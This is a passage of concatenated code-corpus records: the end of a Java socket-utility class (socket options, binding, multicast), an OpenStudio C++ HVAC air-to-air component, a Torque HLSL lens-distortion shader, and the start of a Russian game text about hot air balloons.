IllegalArgumentException(\"Invalid send/receive buffer size\");\n }\n if (name == StandardSocketOptions.SO_LINGER) {\n int i = ((Integer)value).intValue();\n if (i < 0)\n value = Integer.valueOf(-1);\n if (i > 65535)\n value = Integer.valueOf(65535);\n }\n if (name == StandardSocketOptions.IP_TOS) {\n int i = ((Integer)value).intValue();\n if (i < 0 || i > 255)\n throw new IllegalArgumentException(\"Invalid IP_TOS value\");\n }\n if (name == StandardSocketOptions.IP_MULTICAST_TTL) {\n int i = ((Integer)value).intValue();\n if (i < 0 || i > 255)\n throw new IllegalArgumentException(\"Invalid TTL/hop value\");\n }\n\n // map option name to platform level/name\n OptionKey key = SocketOptionRegistry.findOption(name, family);\n if (key == null)\n throw new AssertionError(\"Option not found\");\n\n int arg;\n if (type == Integer.class) {\n arg = ((Integer)value).intValue();\n } else {\n boolean b = ((Boolean)value).booleanValue();\n arg = (b) ? 1 : 0;\n }\n\n boolean mayNeedConversion = (family == UNSPEC);\n boolean isIPv6 = (family == StandardProtocolFamily.INET6);\n setIntOption0(fd, mayNeedConversion, key.level(), key.name(), arg, isIPv6);\n }\n\n static Object getSocketOption(FileDescriptor fd, ProtocolFamily family,\n SocketOption name)\n throws IOException\n {\n Class type = name.type();\n\n if (type == SocketFlow.class) {\n ExtendedOptionsImpl.checkGetOptionPermission(name);\n SocketFlow flow = SocketFlow.create();\n ExtendedOptionsImpl.getFlowOption(fd, flow);\n return flow;\n }\n if (name == TCP_KEEPINTERVAL) {\n ExtendedOptionsImpl.checkGetOptionPermission(name);\n return ExtendedOptionsImpl.getTcpKeepAliveIntvl(fd);\n }\n if (name == TCP_KEEPIDLE) {\n ExtendedOptionsImpl.checkGetOptionPermission(name);\n return ExtendedOptionsImpl.getTcpKeepAliveTime(fd);\n }\n if (name == TCP_KEEPCOUNT) {\n ExtendedOptionsImpl.checkGetOptionPermission(name);\n return ExtendedOptionsImpl.getTcpKeepAliveProbes(fd);\n }\n\n // only simple values supported by this method\n if (type != Integer.class && type != Boolean.class)\n throw new AssertionError(\"Should not reach here\");\n\n // map option name to platform level/name\n OptionKey key = SocketOptionRegistry.findOption(name, family);\n if (key == null)\n throw new AssertionError(\"Option not found\");\n\n boolean mayNeedConversion = (family == UNSPEC);\n int value = getIntOption0(fd, mayNeedConversion, key.level(), key.name());\n\n if (type == Integer.class) {\n return Integer.valueOf(value);\n } else {\n return (value == 0) ? Boolean.FALSE : Boolean.TRUE;\n }\n }\n\n public static boolean isFastTcpLoopbackRequested() {\n String loopbackProp = java.security.AccessController.doPrivileged(\n new PrivilegedAction() {\n @Override\n public String run() {\n return System.getProperty(\"jdk.net.useFastTcpLoopback\");\n }\n });\n boolean enable;\n if (\"\".equals(loopbackProp)) {\n enable = true;\n } else {\n enable = Boolean.parseBoolean(loopbackProp);\n }\n return enable;\n }\n\n // -- Socket operations --\n\n private static native boolean isIPv6Available0();\n\n /*\n * Returns 1 for Windows versions that support exclusive binding by default, 0\n * for those that do not, and -1 for Solaris/Linux/Mac OS\n */\n private static native int isExclusiveBindAvailable();\n\n private static native boolean canIPv6SocketJoinIPv4Group0();\n\n private static native boolean canJoin6WithIPv4Group0();\n\n static FileDescriptor socket(boolean stream) throws IOException {\n return socket(UNSPEC, stream);\n }\n\n static FileDescriptor socket(ProtocolFamily family, boolean stream)\n throws IOException {\n boolean preferIPv6 = isIPv6Available() &&\n (family != StandardProtocolFamily.INET);\n return IOUtil.newFD(socket0(preferIPv6, stream, false, fastLoopback));\n }\n\n static FileDescriptor serverSocket(boolean stream) {\n return IOUtil.newFD(socket0(isIPv6Available(), stream, true, fastLoopback));\n }\n\n // Due to oddities SO_REUSEADDR on windows reuse is ignored\n private static native int socket0(boolean preferIPv6, boolean stream, boolean reuse,\n boolean fastLoopback);\n\n public static void bind(FileDescriptor fd, InetAddress addr, int port)\n throws IOException\n {\n bind(UNSPEC, fd, addr, port);\n }\n\n static void bind(ProtocolFamily family, FileDescriptor fd,\n InetAddress addr, int port) throws IOException\n {\n boolean preferIPv6 = isIPv6Available() &&\n (family != StandardProtocolFamily.INET);\n bind0(fd, preferIPv6, exclusiveBind, addr, port);\n }\n\n private static native void bind0(FileDescriptor fd, boolean preferIPv6,\n boolean useExclBind, InetAddress addr,\n int port)\n throws IOException;\n\n static native void listen(FileDescriptor fd, int backlog) throws IOException;\n\n static int connect(FileDescriptor fd, InetAddress remote, int remotePort)\n throws IOException\n {\n return connect(UNSPEC, fd, remote, remotePort);\n }\n\n static int connect(ProtocolFamily family, FileDescriptor fd, InetAddress remote, int remotePort)\n throws IOException\n {\n boolean preferIPv6 = isIPv6Available() &&\n (family != StandardProtocolFamily.INET);\n return connect0(preferIPv6, fd, remote, remotePort);\n }\n\n private static native int connect0(boolean preferIPv6,\n FileDescriptor fd,\n InetAddress remote,\n int remotePort)\n throws IOException;\n\n\n public final static int SHUT_RD = 0;\n public final static int SHUT_WR = 1;\n public final static int SHUT_RDWR = 2;\n\n static native void shutdown(FileDescriptor fd, int how) throws IOException;\n\n private static native int localPort(FileDescriptor fd)\n throws IOException;\n\n private static native InetAddress localInetAddress(FileDescriptor fd)\n throws IOException;\n\n public static InetSocketAddress localAddress(FileDescriptor fd)\n throws IOException\n {\n return new InetSocketAddress(localInetAddress(fd), localPort(fd));\n }\n\n private static native int remotePort(FileDescriptor fd)\n throws IOException;\n\n private static native InetAddress remoteInetAddress(FileDescriptor fd)\n throws IOException;\n\n static InetSocketAddress remoteAddress(FileDescriptor fd)\n throws IOException\n {\n return new InetSocketAddress(remoteInetAddress(fd), remotePort(fd));\n }\n\n private static native int getIntOption0(FileDescriptor fd, boolean mayNeedConversion,\n int level, int opt)\n throws IOException;\n\n private static native void setIntOption0(FileDescriptor fd, boolean mayNeedConversion,\n int level, int opt, int arg, boolean isIPv6)\n throws IOException;\n\n static native int poll(FileDescriptor fd, int events, long timeout)\n throws IOException;\n\n // -- Multicast support --\n\n\n /**\n * Join IPv4 multicast group\n */\n static int join4(FileDescriptor fd, int group, int interf, int source)\n throws IOException\n {\n return joinOrDrop4(true, fd, group, interf, source);\n }\n\n /**\n * Drop membership of IPv4 multicast group\n */\n static void drop4(FileDescriptor fd, int group, int interf, int source)\n throws IOException\n {\n joinOrDrop4(false, fd, group, interf, source);\n }\n\n private static native int joinOrDrop4(boolean join, FileDescriptor fd, int group, int interf, int source)\n throws IOException;\n\n /**\n * Block IPv4 source\n */\n static int block4(FileDescriptor fd, int group, int interf, int source)\n throws IOException\n {\n return blockOrUnblock4(true, fd, group, interf, source);\n }\n\n /**\n * Unblock IPv6 source\n */\n static void unblock4(FileDescriptor fd, int group, int interf, int source)\n throws IOException\n {\n blockOrUnblock4(false, fd, group, interf, source);\n }\n\n private static native int blockOrUnblock4(boolean block, FileDescriptor fd, int group,\n int interf, int source)\n throws IOException;\n\n /**\n * Join IPv6 multicast group\n */\n static int join6(FileDescriptor fd, byte[] group, int index, byte[] source)\n throws IOException\n {\n return joinOrDrop6(true, fd, group, index, source);\n }\n\n /**\n * Drop membership of IPv6 multicast group\n */\n static void drop6(FileDescriptor fd, byte[] group, int index, byte[] source)\n throws IOException\n {\n joinOrDrop6(false, fd, group, index, source);\n }\n\n private static native int joinOrDrop6(boolean join, FileDescriptor fd, byte[] group, int index, byte[] source)\n throws IOException;\n\n /**\n * Block IPv6 source\n */\n static int block6(FileDescriptor fd, byte[] group, int index, byte[] source)\n throws IOException\n {\n return blockOrUnblock6(true, fd, group, index, source);\n }\n\n /**\n * Unblock IPv6 source\n */\n static void unblock6(FileDescriptor fd, byte[] group, int index, byte[] source)\n throws IOException\n {\n blockOrUnblock6(false, fd, group, index, source);\n }\n\n static native int blockOrUnblock6(boolean block, FileDescriptor fd, byte[] group, int index, byte[] source)\n throws IOException;\n\n static native void setInterface4(FileDescriptor fd, int interf) throws IOException;\n\n static native int getInterface4(FileDescriptor fd) throws IOException;\n\n static native void setInterface6(FileDescriptor fd, int index) throws IOException;\n\n static native int getInterface6(FileDescriptor fd) throws IOException;\n\n private static native void initIDs();\n\n /**\n * Event masks for the various poll system calls.\n * They will be set platform dependant in the static initializer below.\n */\n public static final short POLLIN;\n public static final short POLLOUT;\n public static final short POLLERR;\n public static final short POLLHUP;\n public static final short POLLNVAL;\n public static final short POLLCONN;\n\n static native short pollinValue();\n static native short polloutValue();\n static native short pollerrValue();\n static native short pollhupValue();\n static native short pollnvalValue();\n static native short pollconnValue();\n\n static {\n IOUtil.load();\n initIDs();\n\n POLLIN = pollinValue();\n POLLOUT = polloutValue();\n POLLERR = pollerrValue();\n POLLHUP = pollhupValue();\n POLLNVAL = pollnvalValue();\n POLLCONN = pollconnValue();\n }\n\n static {\n int availLevel = isExclusiveBindAvailable();\n if (availLevel >= 0) {\n String exclBindProp =\n java.security.AccessController.doPrivileged(\n new PrivilegedAction() {\n @Override\n public String run() {\n return System.getProperty(\n \"sun.net.useExclusiveBind\");\n }\n });\n if (exclBindProp != null) {\n exclusiveBind = exclBindProp.length() == 0 ?\n true : Boolean.parseBoolean(exclBindProp);\n } else if (availLevel == 1) {\n exclusiveBind = true;\n } else {\n exclusiveBind = false;\n }\n } else {\n exclusiveBind = false;\n }\n\n fastLoopback = isFastTcpLoopbackRequested();\n }\n}\n"} -{"text": "/***********************************************************************************************************************\n* OpenStudio(R), Copyright (c) 2008-2020, Alliance for Sustainable Energy, LLC, and other contributors. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the\n* following conditions are met:\n*\n* (1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following\n* disclaimer.\n*\n* (2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following\n* disclaimer in the documentation and/or other materials provided with the distribution.\n*\n* (3) Neither the name of the copyright holder nor the names of any contributors may be used to endorse or promote products\n* derived from this software without specific prior written permission from the respective party.\n*\n* (4) Other than as required in clauses (1) and (2), distributions in any form of modifications or other derivative works\n* may not use the \"OpenStudio\" trademark, \"OS\", \"os\", or any other confusingly similar designation without specific prior\n* written permission from Alliance for Sustainable Energy, LLC.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) AND ANY CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S), ANY CONTRIBUTORS, THE UNITED STATES GOVERNMENT, OR THE UNITED\n* STATES DEPARTMENT OF ENERGY, NOR ANY OF THEIR EMPLOYEES, BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n* USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n***********************************************************************************************************************/\n\n#include \"AirToAirComponent.hpp\"\n#include \"AirToAirComponent_Impl.hpp\"\n#include \"AirLoopHVAC.hpp\"\n#include \"AirLoopHVAC_Impl.hpp\"\n#include \"Node.hpp\"\n#include \"Node_Impl.hpp\"\n#include \"AirLoopHVACOutdoorAirSystem.hpp\"\n#include \"AirLoopHVACOutdoorAirSystem_Impl.hpp\"\n#include \"Model.hpp\"\n#include \"Model_Impl.hpp\"\n#include \"../utilities/core/Assert.hpp\"\n\nnamespace openstudio {\n\nnamespace model {\n\nnamespace detail {\n\nAirToAirComponent_Impl::AirToAirComponent_Impl(IddObjectType type, Model_Impl* model)\n : HVACComponent_Impl(type,model)\n{\n}\n\nAirToAirComponent_Impl::AirToAirComponent_Impl(const IdfObject& idfObject, Model_Impl* model, bool keepHandle)\n : HVACComponent_Impl(idfObject, model, keepHandle)\n{\n}\n\nAirToAirComponent_Impl::AirToAirComponent_Impl(\n const openstudio::detail::WorkspaceObject_Impl& other,\n Model_Impl* model,\n bool keepHandle)\n : HVACComponent_Impl(other,model,keepHandle)\n{\n}\n\nAirToAirComponent_Impl::AirToAirComponent_Impl(const AirToAirComponent_Impl& other,\n Model_Impl* model,\n bool keepHandles)\n : HVACComponent_Impl(other,model,keepHandles)\n{\n}\n\nOptionalModelObject AirToAirComponent_Impl::primaryAirInletModelObject() const\n{\n return connectedObject(primaryAirInletPort());\n}\n\nOptionalModelObject AirToAirComponent_Impl::primaryAirOutletModelObject() const\n{\n return connectedObject(primaryAirOutletPort());\n}\n\nOptionalModelObject AirToAirComponent_Impl::secondaryAirInletModelObject() const\n{\n return connectedObject(secondaryAirInletPort());\n}\n\nOptionalModelObject AirToAirComponent_Impl::secondaryAirOutletModelObject() const\n{\n return connectedObject(secondaryAirOutletPort());\n}\n\nstd::vector AirToAirComponent_Impl::remove()\n{\n Model _model = model();\n\n boost::optional oaOutletNode;\n boost::optional oaOutletModelObject;\n boost::optional oaOutletModelObjectPort;\n\n boost::optional oaInletNode;\n\n boost::optional reliefInletNode;\n boost::optional reliefInletModelObject;\n boost::optional reliefInletModelObjectPort;\n\n boost::optional reliefOutletNode;\n\n if( primaryAirOutletModelObject() && primaryAirInletModelObject() )\n {\n boost::optional mo = primaryAirOutletModelObject();\n\n boost::optional node = mo->optionalCast();\n\n OS_ASSERT(node);\n\n oaOutletNode = node;\n\n boost::optional mo2 = oaOutletNode->outletModelObject();\n\n OS_ASSERT(mo2);\n\n oaOutletModelObject = mo2;\n\n oaOutletModelObjectPort = oaOutletNode->connectedObjectPort(oaOutletNode->outletPort());\n\n OS_ASSERT(oaOutletModelObjectPort);\n\n mo2 = primaryAirInletModelObject();\n\n OS_ASSERT(mo2);\n\n node = mo2->optionalCast();\n\n OS_ASSERT(node);\n\n oaInletNode = node;\n }\n\n if( secondaryAirInletModelObject() && secondaryAirOutletModelObject() )\n {\n boost::optional mo = secondaryAirInletModelObject();\n\n boost::optional node = mo->optionalCast();\n\n OS_ASSERT(node);\n\n reliefInletNode = node;\n\n boost::optional mo2 = reliefInletNode->inletModelObject();\n\n OS_ASSERT(mo2);\n\n reliefInletModelObject = mo2;\n\n reliefInletModelObjectPort = reliefInletNode->connectedObjectPort(reliefInletNode->inletPort());\n\n OS_ASSERT(reliefInletModelObjectPort);\n\n mo2 = secondaryAirOutletModelObject();\n\n OS_ASSERT(mo2);\n\n node = mo2->optionalCast();\n\n OS_ASSERT(node);\n\n reliefOutletNode = node;\n }\n\n if( oaOutletModelObject && oaInletNode && oaOutletNode )\n {\n _model.connect(oaInletNode.get(),oaInletNode->outletPort(),oaOutletModelObject.get(),oaOutletModelObjectPort.get());\n\n oaOutletNode->remove();\n }\n\n if( reliefInletModelObject && reliefOutletNode && reliefInletNode )\n {\n _model.connect(reliefInletModelObject.get(),reliefInletModelObjectPort.get(),reliefOutletNode.get(),reliefOutletNode->inletPort());\n\n reliefInletNode->disconnect();\n reliefInletNode->remove();\n }\n\n return HVACComponent_Impl::remove();\n}\n\nbool AirToAirComponent_Impl::addToNode(Node & node)\n{\n Model _model = node.model();\n boost::optional oaSystem = node.airLoopHVACOutdoorAirSystem();\n\n if( airLoopHVACOutdoorAirSystem() ) return false;\n\n if( oaSystem )\n {\n // The OA node that we will connect to\n boost::optional oaNode;\n\n // The node on the relief side that we should connect to\n boost::optional reliefNode;\n\n Node outboardOANode = oaSystem->outboardOANode().get();\n Node outboardReliefNode = oaSystem->outboardReliefNode().get();\n HVACComponent thisObject = getObject();\n\n // next / prev components are going to be assigned either the next downstream AirToAirComponent or the end of the air stream\n // The end of the air stream is either the OA systems itself or the outboard relief / supply nodes.\n // Downstream is from the perspective of the particular side of the OA System the component is on.\n // Downstream on the supply side is toward the OA Mixer itself.\n // Downstream on the relief side is toward the most outboard relief node\n boost::optional nextSupplyComponent;\n boost::optional prevSupplyComponent;\n\n boost::optional nextReliefComponent;\n boost::optional prevReliefComponent;\n\n std::vector oaComponents = oaSystem->oaComponents();\n std::vector reliefComponents = oaSystem->reliefComponents();\n\n if( oaSystem->oaComponent(node.handle()) )\n {\n oaNode = node;\n\n // n will be the number of HVACComponent objects from the drop node to \"nextSupplyComponent\"\n int n = -1;\n\n // bigNPrime will be the number of HVACComponent objects from prevReliefComponent to nextReliefComponent\n int bigNPrime = -1;\n\n // Find nextSupplyComponent\n\n auto dropNodeLocation = std::find(oaComponents.begin(),oaComponents.end(),node);\n\n OS_ASSERT( dropNodeLocation != oaComponents.end() );\n\n for( auto it = dropNodeLocation;\n it != oaComponents.end();\n ++it )\n {\n n++;\n\n if( (nextSupplyComponent = it->optionalCast()) )\n {\n break;\n }\n }\n\n if( ! nextSupplyComponent )\n {\n nextSupplyComponent = oaSystem;\n }\n\n // Find prevSupplyComponent\n\n auto rDropNodeLocation =\n std::find(oaComponents.rbegin(),oaComponents.rend(),node);\n\n OS_ASSERT( rDropNodeLocation != oaComponents.rend() );\n\n for( auto it = rDropNodeLocation;\n it != oaComponents.rend();\n ++it )\n {\n if( (prevSupplyComponent = it->optionalCast()) )\n {\n break;\n }\n }\n\n if( ! prevSupplyComponent )\n {\n prevSupplyComponent = outboardOANode;\n }\n\n // Find prevReliefComponent\n\n prevReliefComponent = nextSupplyComponent;\n\n // Find nextReliefComponent\n\n OS_ASSERT(prevReliefComponent);\n\n std::vector::iterator prevReliefComponentLocation;\n\n if( prevReliefComponent.get() != oaSystem.get() )\n {\n prevReliefComponentLocation = std::find(reliefComponents.begin(),reliefComponents.end(),prevReliefComponent.get());\n }\n else\n {\n prevReliefComponentLocation = reliefComponents.begin();\n }\n\n for( auto it = prevReliefComponentLocation;\n it != reliefComponents.end();\n ++it )\n {\n bigNPrime++;\n\n if( (nextReliefComponent = it->optionalCast()) )\n {\n if( *it != prevReliefComponent.get() )\n {\n break;\n }\n }\n }\n\n if( ! nextReliefComponent )\n {\n nextReliefComponent = outboardReliefNode;\n }\n\n // Find the relief node\n\n if( n < bigNPrime )\n {\n boost::optional mo = *(prevReliefComponentLocation + n);\n\n OS_ASSERT(mo);\n\n reliefNode = mo->optionalCast();\n\n OS_ASSERT(reliefNode);\n }\n else\n {\n if( nextReliefComponent.get() == outboardReliefNode )\n {\n reliefNode = outboardReliefNode;\n }\n else\n {\n boost::optional comp = nextReliefComponent->optionalCast();\n\n OS_ASSERT(comp);\n\n boost::optional comp2 = comp->secondaryAirInletModelObject();\n\n reliefNode = comp2->optionalCast();\n\n OS_ASSERT(reliefNode);\n }\n }\n\n OS_ASSERT(reliefNode);\n OS_ASSERT(oaNode);\n }\n else if( oaSystem->reliefComponent(node.handle()) )\n {\n reliefNode = node;\n\n // n will be the number of HVACComponent objects from the drop node to \"nextReliefComponent\"\n int n = -1;\n\n // bigNPrime will be the number of HVACComponent objects from prevSupplyComponent to nextSupplyComponent\n int bigNPrime = -1;\n\n // Find nextReliefComponent\n\n auto dropNodeLocation = std::find(reliefComponents.begin(),reliefComponents.end(),node);\n\n OS_ASSERT( dropNodeLocation != reliefComponents.end() );\n\n for( auto it = dropNodeLocation;\n it != reliefComponents.end();\n ++it )\n {\n n++;\n\n if( (nextReliefComponent = it->optionalCast()) )\n {\n break;\n }\n }\n\n if( ! nextReliefComponent )\n {\n nextReliefComponent = outboardReliefNode;\n }\n\n // Find prevReliefComponent\n\n auto rDropNodeLocation =\n std::find(reliefComponents.rbegin(),reliefComponents.rend(),node);\n\n OS_ASSERT( rDropNodeLocation != reliefComponents.rend() );\n\n for( auto it = rDropNodeLocation;\n it != reliefComponents.rend();\n ++it )\n {\n if( (prevReliefComponent = it->optionalCast()) )\n {\n break;\n }\n }\n\n if( ! prevReliefComponent )\n {\n prevReliefComponent = oaSystem;\n }\n\n // Find prevSupplyComponent\n\n if( nextReliefComponent.get() != outboardReliefNode )\n {\n prevSupplyComponent = nextReliefComponent;\n }\n else\n {\n prevSupplyComponent = outboardOANode;\n }\n\n // Find nextSupplyComponent\n\n OS_ASSERT(prevSupplyComponent);\n\n std::vector::iterator prevSupplyComponentLocation;\n\n prevSupplyComponentLocation = std::find(oaComponents.begin(),oaComponents.end(),prevSupplyComponent.get());\n\n for( auto it = prevSupplyComponentLocation;\n it != oaComponents.end();\n ++it )\n {\n bigNPrime++;\n\n if( (nextSupplyComponent = it->optionalCast()) )\n {\n break;\n }\n }\n\n if( ! nextSupplyComponent )\n {\n nextSupplyComponent = oaSystem;\n }\n\n // Find the oaNode\n\n if( n < bigNPrime )\n {\n boost::optional mo = *(prevSupplyComponentLocation + n);\n\n OS_ASSERT(mo);\n\n oaNode = mo->optionalCast();\n\n OS_ASSERT(oaNode);\n }\n else\n {\n if( nextSupplyComponent.get() == oaSystem.get() )\n {\n oaNode = oaSystem->outdoorAirModelObject()->cast();\n }\n else\n {\n boost::optional comp = nextSupplyComponent->optionalCast();\n\n OS_ASSERT(comp);\n\n boost::optional comp2 = comp->primaryAirInletModelObject();\n\n oaNode = comp2->optionalCast();\n\n OS_ASSERT(oaNode);\n }\n }\n\n OS_ASSERT(reliefNode);\n OS_ASSERT(oaNode);\n }\n\n OS_ASSERT(reliefNode);\n OS_ASSERT(oaNode);\n\n // Make new connections on the oa side\n\n ModelObject oldOutletModelObject = oaNode->outletModelObject().get();\n unsigned oldInletPort = oaNode->connectedObjectPort(oaNode->outletPort()).get();\n\n Node newNode(_model);\n newNode.createName();\n\n _model.connect(oaNode.get(),oaNode->outletPort(),thisObject,primaryAirInletPort());\n\n _model.connect(thisObject,primaryAirOutletPort(),newNode,newNode.inletPort());\n\n _model.connect(newNode,newNode.outletPort(),oldOutletModelObject,oldInletPort);\n\n // Make new connections on the relief side\n\n Node newNode2(_model);\n newNode2.createName();\n\n if( reliefNode.get() == outboardReliefNode )\n {\n ModelObject oldMO = outboardReliefNode.inletModelObject().get();\n unsigned oldPort = outboardReliefNode.connectedObjectPort(outboardReliefNode.inletPort()).get();\n\n _model.connect(oldMO,oldPort,newNode2,newNode2.inletPort());\n\n _model.connect(newNode2,newNode2.outletPort(),thisObject,secondaryAirInletPort());\n\n _model.connect(thisObject,secondaryAirOutletPort(),outboardReliefNode,outboardReliefNode.inletPort());\n }\n else\n {\n ModelObject oldReliefOutletModelObject = reliefNode->outletModelObject().get();\n unsigned oldReliefInletPort = reliefNode->connectedObjectPort(reliefNode->outletPort()).get();\n\n _model.connect(reliefNode.get(),reliefNode->outletPort(),thisObject,secondaryAirInletPort());\n\n _model.connect(thisObject,secondaryAirOutletPort(),newNode2,newNode2.inletPort());\n\n _model.connect(newNode2,newNode2.outletPort(),oldReliefOutletModelObject,oldReliefInletPort);\n }\n\n return true;\n }\n\n return false;\n}\n\nModelObject AirToAirComponent_Impl::clone(Model model) const\n{\n AirToAirComponent mo = HVACComponent_Impl::clone( model ).cast();\n\n mo.setString(mo.primaryAirInletPort(),\"\");\n mo.setString(mo.primaryAirOutletPort(),\"\");\n mo.setString(mo.secondaryAirInletPort(),\"\");\n mo.setString(mo.secondaryAirOutletPort(),\"\");\n\n return mo;\n}\n\n} // detail\n\nAirToAirComponent::AirToAirComponent(IddObjectType type,const Model& model)\n : HVACComponent(type,model)\n{\n OS_ASSERT(getImpl());\n}\n\nAirToAirComponent::AirToAirComponent(std::shared_ptr p)\n : HVACComponent(std::move(p))\n{}\n\nunsigned AirToAirComponent::primaryAirInletPort() const\n{\n return getImpl()->primaryAirInletPort();\n}\n\nunsigned AirToAirComponent::primaryAirOutletPort() const\n{\n return getImpl()->primaryAirOutletPort();\n}\n\nunsigned AirToAirComponent::secondaryAirInletPort() const\n{\n return getImpl()->secondaryAirInletPort();\n}\n\nunsigned AirToAirComponent::secondaryAirOutletPort() const\n{\n return getImpl()->secondaryAirOutletPort();\n}\n\nOptionalModelObject AirToAirComponent::primaryAirInletModelObject() const\n{\n return getImpl()->primaryAirInletModelObject();\n}\n\nOptionalModelObject AirToAirComponent::primaryAirOutletModelObject() const\n{\n return getImpl()->primaryAirOutletModelObject();\n}\n\nOptionalModelObject AirToAirComponent::secondaryAirInletModelObject() const\n{\n return getImpl()->secondaryAirInletModelObject();\n}\n\nOptionalModelObject AirToAirComponent::secondaryAirOutletModelObject() const\n{\n return getImpl()->secondaryAirOutletModelObject();\n}\n\nstd::vector AirToAirComponent::remove()\n{\n return getImpl()->remove();\n}\n\nbool AirToAirComponent::addToNode(Node & node)\n{\n return getImpl()->addToNode( node );\n}\n\nModelObject AirToAirComponent::clone(Model model) const\n{\n return getImpl()->clone( model );\n}\n\n} // model\n\n} // openstudio\n\n"} -{"text": "//-----------------------------------------------------------------------------\n// Copyright (c) 2012 GarageGames, LLC\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to\n// deal in the Software without restriction, including without limitation the\n// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n// sell copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n// IN THE SOFTWARE.\n//-----------------------------------------------------------------------------\n\n#include \"../postFx.hlsl\" \n#include \"../../torque.hlsl\"\n\nTORQUE_UNIFORM_SAMPLER2D(backBuffer, 0);\n\nuniform float3 LensCenter; // x=Left X, y=Right X, z=Y\nuniform float2 ScreenCenter;\nuniform float2 Scale;\nuniform float2 ScaleIn;\nuniform float4 HmdWarpParam;\n\n// Scales input texture coordinates for distortion.\n// ScaleIn maps texture coordinates to Scales to ([-1, 1]), although top/bottom will be\n// larger due to aspect ratio.\nfloat2 HmdWarp(float2 in01, float2 lensCenter)\n{\n float2 theta = (in01 - lensCenter) * ScaleIn; // Scales to [-1, 1]\n float rSq = theta.x * theta.x + theta.y * theta.y;\n float2 theta1 = theta * (HmdWarpParam.x + HmdWarpParam.y * rSq + HmdWarpParam.z * rSq * rSq + HmdWarpParam.w * rSq * rSq * rSq);\n return lensCenter + Scale * theta1;\n}\n\nfloat4 main( PFXVertToPix IN ) : TORQUE_TARGET0 \n{\n float2 texCoord;\n float xOffset;\n float2 lensCenter;\n lensCenter.y = LensCenter.z;\n if(IN.uv0.x < 0.5)\n {\n texCoord.x = IN.uv0.x;\n texCoord.y = IN.uv0.y;\n xOffset = 0.0;\n lensCenter.x = LensCenter.x;\n }\n else\n {\n texCoord.x = IN.uv0.x - 0.5;\n texCoord.y = IN.uv0.y;\n xOffset = 0.5;\n lensCenter.x = LensCenter.y;\n }\n \n float2 tc = HmdWarp(texCoord, lensCenter);\n \n float4 color;\n if (any(clamp(tc, ScreenCenter-float2(0.25,0.5), ScreenCenter+float2(0.25, 0.5)) - tc))\n {\n color = float4(0,0,0,0);\n }\n else\n {\n tc.x += xOffset;\n color = TORQUE_TEX2D(backBuffer, tc);\n }\n\n return color; \n}\n"} -{"text": "\u0412\u043e\u0437\u0434\u0443\u0448\u043d\u044b\u0439 \u0448\u0430\u0440\n...\u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 99 \u0438\u0437 \u043d\u0438\u0445\n<&recipe>\u0412\u043e\u0437\u0434\u0443\u0448\u043d\u044b\u0435 \u0448\u0430\u0440\u044b - \u044d\u0442\u043e \u043c\u0435\u0448\u043a\u0438 \u0438\u0437 \u0442\u043a\u0430\u043d\u0438 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0442\u0435\u043f\u043b\u0430 \u0432\u043d\u0438\u0437\u0443, \u0447\u0442\u043e\u0431\u044b \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0438\u0445 \u043d\u0430 \u043f\u043b\u0430\u0432\u0443. \u041e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u0443\u0434\u0443\u0442 \u0438\u0437\u043b\u0443\u0447\u0430\u0442\u044c \u0441\u0432\u0435\u0442, \u043d\u043e, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0444\u0430\u043a\u0435\u043b, \u043e\u043d\u0438 \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u043e\u0436\u0430\u0440\u0430.\n\u0412\u043e\u0437\u0434\u0443\u0448\u043d\u044b\u0435 \u0448\u0430\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0431\u043b\u043e\u043a\u0438, \u0438\u043b\u0438, \u043a\u043e\u0433\u0434\u0430 \u043d\u0438 \u043e\u0434\u0438\u043d \u0431\u043b\u043e\u043a 